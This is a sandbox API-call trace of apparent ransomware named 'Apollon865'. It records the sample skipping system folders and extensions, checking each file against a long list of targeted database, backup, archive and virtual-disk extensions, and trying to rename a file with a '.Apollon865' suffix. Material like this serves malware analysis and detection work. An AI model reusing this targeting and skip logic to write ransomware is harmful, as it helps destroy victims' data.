	[0084.954] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0084.954] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0084.954] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0084.954] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0084.955] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0084.955] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0084.955] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0084.955] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0084.955] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0084.955] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0084.955] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0084.955] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0084.955] lstrlenW (lpString="en-US") returned 5
	[0084.955] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned 87
	[0084.955] lstrcpyW (in: lpString1=0x119e6b4, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0084.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0084.955] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0084.955] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7970 | out: ListHead=0x5b75f0, ListEntry=0x5b7970) returned 0x5b7950
	[0084.955] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0084.955] lstrcmpiW (lpString1="folder.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0084.955] lstrcmpiW (lpString1="folder.ico", lpString2="Apollon865.txt.exe") returned 1
	[0084.955] lstrcmpiW (lpString1="folder.ico", lpString2=".") returned 1
	[0084.955] lstrcpyW (in: lpString1=0x119e6b4, lpString2="folder.ico" | out: lpString1="folder.ico") returned="folder.ico"
	[0084.955] lstrlenW (lpString="folder.ico") returned 10
	[0084.955] lstrlenW (lpString="Apollon865") returned 10
	[0084.955] lstrlenW (lpString=".dll") returned 4
	[0084.955] lstrcmpiW (lpString1="folder.ico", lpString2=".dll") returned 1
	[0084.955] lstrlenW (lpString=".lnk") returned 4
	[0084.955] lstrcmpiW (lpString1="folder.ico", lpString2=".lnk") returned 1
	[0084.955] lstrlenW (lpString=".ini") returned 4
	[0084.955] lstrcmpiW (lpString1="folder.ico", lpString2=".ini") returned 1
	[0084.955] lstrlenW (lpString=".sys") returned 4
	[0084.955] lstrcmpiW (lpString1="folder.ico", lpString2=".sys") returned 1
	[0084.955] lstrlenW (lpString="folder.ico") returned 10
	[0084.956] lstrlenW (lpString="bak") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0084.956] lstrlenW (lpString="ba_") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0084.956] lstrlenW (lpString="dbb") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0084.956] lstrlenW (lpString="vmdk") returned 4
	[0084.956] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0084.956] lstrlenW (lpString="rar") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0084.956] lstrlenW (lpString="zip") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0084.956] lstrlenW (lpString="tgz") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0084.956] lstrlenW (lpString="vbox") returned 4
	[0084.956] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0084.956] lstrlenW (lpString="vdi") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0084.956] lstrlenW (lpString="vhd") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0084.956] lstrlenW (lpString="vhdx") returned 4
	[0084.956] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0084.956] lstrlenW (lpString="avhd") returned 4
	[0084.956] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0084.956] lstrlenW (lpString="db") returned 2
	[0084.956] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0084.956] lstrlenW (lpString="db2") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0084.956] lstrlenW (lpString="db3") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0084.956] lstrlenW (lpString="dbf") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0084.956] lstrlenW (lpString="mdf") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0084.956] lstrlenW (lpString="mdb") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0084.956] lstrlenW (lpString="sql") returned 3
	[0084.956] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0084.957] lstrlenW (lpString="sqlite") returned 6
	[0084.957] lstrcmpiW (lpString1="er.ico", lpString2="sqlite") returned -1
	[0084.957] lstrlenW (lpString="sqlite3") returned 7
	[0084.957] lstrcmpiW (lpString1="der.ico", lpString2="sqlite3") returned -1
	[0084.957] lstrlenW (lpString="sqlitedb") returned 8
	[0084.957] lstrcmpiW (lpString1="lder.ico", lpString2="sqlitedb") returned -1
	[0084.957] lstrlenW (lpString="xml") returned 3
	[0084.957] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0084.957] lstrlenW (lpString="$er") returned 3
	[0084.957] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0084.957] lstrlenW (lpString="4dd") returned 3
	[0084.957] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0084.957] lstrlenW (lpString="4dl") returned 3
	[0084.957] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0084.957] lstrlenW (lpString="^^^") returned 3
	[0084.957] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0084.957] lstrlenW (lpString="abs") returned 3
	[0084.957] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0084.957] lstrlenW (lpString="abx") returned 3
	[0084.957] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0084.957] lstrlenW (lpString="accdb") returned 5
	[0084.957] lstrcmpiW (lpString1="r.ico", lpString2="accdb") returned 1
	[0084.957] lstrlenW (lpString="accdc") returned 5
	[0084.957] lstrcmpiW (lpString1="r.ico", lpString2="accdc") returned 1
	[0084.957] lstrlenW (lpString="accde") returned 5
	[0084.957] lstrcmpiW (lpString1="r.ico", lpString2="accde") returned 1
	[0084.957] lstrlenW (lpString="accdr") returned 5
	[0084.957] lstrcmpiW (lpString1="r.ico", lpString2="accdr") returned 1
	[0084.957] lstrlenW (lpString="accdt") returned 5
	[0084.957] lstrcmpiW (lpString1="r.ico", lpString2="accdt") returned 1
	[0084.957] lstrlenW (lpString="accdw") returned 5
	[0084.957] lstrcmpiW (lpString1="r.ico", lpString2="accdw") returned 1
	[0084.957] lstrlenW (lpString="accft") returned 5
	[0084.958] lstrcmpiW (lpString1="r.ico", lpString2="accft") returned 1
	[0084.958] lstrlenW (lpString="adb") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0084.958] lstrlenW (lpString="adb") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0084.958] lstrlenW (lpString="ade") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0084.958] lstrlenW (lpString="adf") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0084.958] lstrlenW (lpString="adn") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0084.958] lstrlenW (lpString="adp") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0084.958] lstrlenW (lpString="alf") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0084.958] lstrlenW (lpString="ask") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0084.958] lstrlenW (lpString="btr") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0084.958] lstrlenW (lpString="cat") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0084.958] lstrlenW (lpString="cdb") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0084.958] lstrlenW (lpString="ckp") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0084.958] lstrlenW (lpString="cma") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0084.958] lstrlenW (lpString="cpd") returned 3
	[0084.958] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0084.958] lstrlenW (lpString="dacpac") returned 6
	[0084.958] lstrcmpiW (lpString1="er.ico", lpString2="dacpac") returned 1
	[0084.958] lstrlenW (lpString="dad") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0084.959] lstrlenW (lpString="dadiagrams") returned 10
	[0084.959] lstrlenW (lpString="daschema") returned 8
	[0084.959] lstrcmpiW (lpString1="lder.ico", lpString2="daschema") returned 1
	[0084.959] lstrlenW (lpString="db-journal") returned 10
	[0084.959] lstrlenW (lpString="db-shm") returned 6
	[0084.959] lstrcmpiW (lpString1="er.ico", lpString2="db-shm") returned 1
	[0084.959] lstrlenW (lpString="db-wal") returned 6
	[0084.959] lstrcmpiW (lpString1="er.ico", lpString2="db-wal") returned 1
	[0084.959] lstrlenW (lpString="dbc") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0084.959] lstrlenW (lpString="dbs") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0084.959] lstrlenW (lpString="dbt") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0084.959] lstrlenW (lpString="dbv") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0084.959] lstrlenW (lpString="dbx") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0084.959] lstrlenW (lpString="dcb") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0084.959] lstrlenW (lpString="dct") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0084.959] lstrlenW (lpString="dcx") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0084.959] lstrlenW (lpString="ddl") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0084.959] lstrlenW (lpString="dlis") returned 4
	[0084.959] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0084.959] lstrlenW (lpString="dp1") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0084.959] lstrlenW (lpString="dqy") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1
	[0084.959] lstrlenW (lpString="dsk") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1
	[0084.959] lstrlenW (lpString="dsn") returned 3
	[0084.959] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1
	[0084.959] lstrlenW (lpString="dtsx") returned 4
	[0084.960] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1
	[0084.960] lstrlenW (lpString="dxl") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1
	[0084.960] lstrlenW (lpString="eco") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1
	[0084.960] lstrlenW (lpString="ecx") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1
	[0084.960] lstrlenW (lpString="edb") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1
	[0084.960] lstrlenW (lpString="epim") returned 4
	[0084.960] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1
	[0084.960] lstrlenW (lpString="fcd") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1
	[0084.960] lstrlenW (lpString="fdb") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1
	[0084.960] lstrlenW (lpString="fic") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1
	[0084.960] lstrlenW (lpString="flexolibrary") returned 12
	[0084.960] lstrlenW (lpString="fm5") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1
	[0084.960] lstrlenW (lpString="fmp") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1
	[0084.960] lstrlenW (lpString="fmp12") returned 5
	[0084.960] lstrcmpiW (lpString1="r.ico", lpString2="fmp12") returned 1
	[0084.960] lstrlenW (lpString="fmpsl") returned 5
	[0084.960] lstrcmpiW (lpString1="r.ico", lpString2="fmpsl") returned 1
	[0084.960] lstrlenW (lpString="fol") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1
	[0084.960] lstrlenW (lpString="fp3") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1
	[0084.960] lstrlenW (lpString="fp4") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1
	[0084.960] lstrlenW (lpString="fp5") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1
	[0084.960] lstrlenW (lpString="fp7") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1
	[0084.960] lstrlenW (lpString="fpt") returned 3
	[0084.960] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1
	[0084.961] lstrlenW (lpString="frm") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1
	[0084.961] lstrlenW (lpString="gdb") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0084.961] lstrlenW (lpString="gdb") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0084.961] lstrlenW (lpString="grdb") returned 4
	[0084.961] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1
	[0084.961] lstrlenW (lpString="gwi") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1
	[0084.961] lstrlenW (lpString="hdb") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1
	[0084.961] lstrlenW (lpString="his") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="his") returned 1
	[0084.961] lstrlenW (lpString="ib") returned 2
	[0084.961] lstrcmpiW (lpString1="co", lpString2="ib") returned -1
	[0084.961] lstrlenW (lpString="idb") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1
	[0084.961] lstrlenW (lpString="ihx") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1
	[0084.961] lstrlenW (lpString="itdb") returned 4
	[0084.961] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1
	[0084.961] lstrlenW (lpString="itw") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1
	[0084.961] lstrlenW (lpString="jet") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1
	[0084.961] lstrlenW (lpString="jtx") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1
	[0084.961] lstrlenW (lpString="kdb") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1
	[0084.961] lstrlenW (lpString="kexi") returned 4
	[0084.961] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1
	[0084.961] lstrlenW (lpString="kexic") returned 5
	[0084.961] lstrcmpiW (lpString1="r.ico", lpString2="kexic") returned 1
	[0084.961] lstrlenW (lpString="kexis") returned 5
	[0084.961] lstrcmpiW (lpString1="r.ico", lpString2="kexis") returned 1
	[0084.961] lstrlenW (lpString="lgc") returned 3
	[0084.961] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1
	[0084.962] lstrlenW (lpString="lwx") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1
	[0084.962] lstrlenW (lpString="maf") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1
	[0084.962] lstrlenW (lpString="maq") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1
	[0084.962] lstrlenW (lpString="mar") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1
	[0084.962] lstrlenW (lpString="marshal") returned 7
	[0084.962] lstrcmpiW (lpString1="der.ico", lpString2="marshal") returned -1
	[0084.962] lstrlenW (lpString="mas") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1
	[0084.962] lstrlenW (lpString="mav") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1
	[0084.962] lstrlenW (lpString="maw") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1
	[0084.962] lstrlenW (lpString="mdbhtml") returned 7
	[0084.962] lstrcmpiW (lpString1="der.ico", lpString2="mdbhtml") returned -1
	[0084.962] lstrlenW (lpString="mdn") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1
	[0084.962] lstrlenW (lpString="mdt") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1
	[0084.962] lstrlenW (lpString="mfd") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1
	[0084.962] lstrlenW (lpString="mpd") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1
	[0084.962] lstrlenW (lpString="mrg") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1
	[0084.962] lstrlenW (lpString="mud") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1
	[0084.962] lstrlenW (lpString="mwb") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1
	[0084.962] lstrlenW (lpString="myd") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1
	[0084.962] lstrlenW (lpString="ndf") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1
	[0084.962] lstrlenW (lpString="nnt") returned 3
	[0084.962] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1
	[0084.963] lstrlenW (lpString="nrmlib") returned 6
	[0084.963] lstrcmpiW (lpString1="er.ico", lpString2="nrmlib") returned -1
	[0084.963] lstrlenW (lpString="ns2") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1
	[0084.963] lstrlenW (lpString="ns3") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1
	[0084.963] lstrlenW (lpString="ns4") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="ns4") returned -1
	[0084.963] lstrlenW (lpString="nsf") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1
	[0084.963] lstrlenW (lpString="nv") returned 2
	[0084.963] lstrcmpiW (lpString1="co", lpString2="nv") returned -1
	[0084.963] lstrlenW (lpString="nv2") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1
	[0084.963] lstrlenW (lpString="nwdb") returned 4
	[0084.963] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1
	[0084.963] lstrlenW (lpString="nyf") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1
	[0084.963] lstrlenW (lpString="odb") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0084.963] lstrlenW (lpString="odb") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0084.963] lstrlenW (lpString="oqy") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1
	[0084.963] lstrlenW (lpString="ora") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1
	[0084.963] lstrlenW (lpString="orx") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1
	[0084.963] lstrlenW (lpString="owc") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1
	[0084.963] lstrlenW (lpString="p96") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1
	[0084.963] lstrlenW (lpString="p97") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1
	[0084.963] lstrlenW (lpString="pan") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1
	[0084.963] lstrlenW (lpString="pdb") returned 3
	[0084.963] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1
	[0084.963] lstrlenW (lpString="pdm") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1
	[0084.964] lstrlenW (lpString="pnz") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1
	[0084.964] lstrlenW (lpString="qry") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1
	[0084.964] lstrlenW (lpString="qvd") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1
	[0084.964] lstrlenW (lpString="rbf") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1
	[0084.964] lstrlenW (lpString="rctd") returned 4
	[0084.964] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1
	[0084.964] lstrlenW (lpString="rod") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1
	[0084.964] lstrlenW (lpString="rodx") returned 4
	[0084.964] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1
	[0084.964] lstrlenW (lpString="rpd") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1
	[0084.964] lstrlenW (lpString="rsd") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1
	[0084.964] lstrlenW (lpString="sas7bdat") returned 8
	[0084.964] lstrcmpiW (lpString1="lder.ico", lpString2="sas7bdat") returned -1
	[0084.964] lstrlenW (lpString="sbf") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1
	[0084.964] lstrlenW (lpString="scx") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1
	[0084.964] lstrlenW (lpString="sdb") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1
	[0084.964] lstrlenW (lpString="sdc") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1
	[0084.964] lstrlenW (lpString="sdf") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1
	[0084.964] lstrlenW (lpString="sis") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1
	[0084.964] lstrlenW (lpString="spq") returned 3
	[0084.964] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1
	[0084.964] lstrlenW (lpString="te") returned 2
	[0084.964] lstrcmpiW (lpString1="co", lpString2="te") returned -1
	[0084.964] lstrlenW (lpString="teacher") returned 7
	[0084.965] lstrcmpiW (lpString1="der.ico", lpString2="teacher") returned -1
	[0084.965] lstrlenW (lpString="tmd") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1
	[0084.965] lstrlenW (lpString="tps") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1
	[0084.965] lstrlenW (lpString="trc") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0084.965] lstrlenW (lpString="trc") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0084.965] lstrlenW (lpString="trm") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1
	[0084.965] lstrlenW (lpString="udb") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1
	[0084.965] lstrlenW (lpString="udl") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1
	[0084.965] lstrlenW (lpString="usr") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1
	[0084.965] lstrlenW (lpString="v12") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1
	[0084.965] lstrlenW (lpString="vis") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1
	[0084.965] lstrlenW (lpString="vpd") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1
	[0084.965] lstrlenW (lpString="vvv") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1
	[0084.965] lstrlenW (lpString="wdb") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1
	[0084.965] lstrlenW (lpString="wmdb") returned 4
	[0084.965] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1
	[0084.965] lstrlenW (lpString="wrk") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1
	[0084.965] lstrlenW (lpString="xdb") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1
	[0084.965] lstrlenW (lpString="xld") returned 3
	[0084.965] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1
	[0084.965] lstrlenW (lpString="xmlff") returned 5
	[0084.965] lstrcmpiW (lpString1="r.ico", lpString2="xmlff") returned -1
	[0084.966] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico.Apollon865") returned 107
	[0084.966] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico.apollon865"), dwFlags=0x1) returned 0
	[0084.966] GetLastError () returned 0x5
	[0084.966] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico MoveFileEx error 5\r\n") returned 125
	[0084.966] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico MoveFileEx error 5\r\n") returned 125
	[0084.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0084.966] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5a9a
	[0084.967] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x7d, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x7d, lpOverlapped=0x0) returned 1
	[0084.967] CloseHandle (hObject=0x9c) returned 1
	[0084.967] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0084.967] CloseHandle (hObject=0x0) returned 0
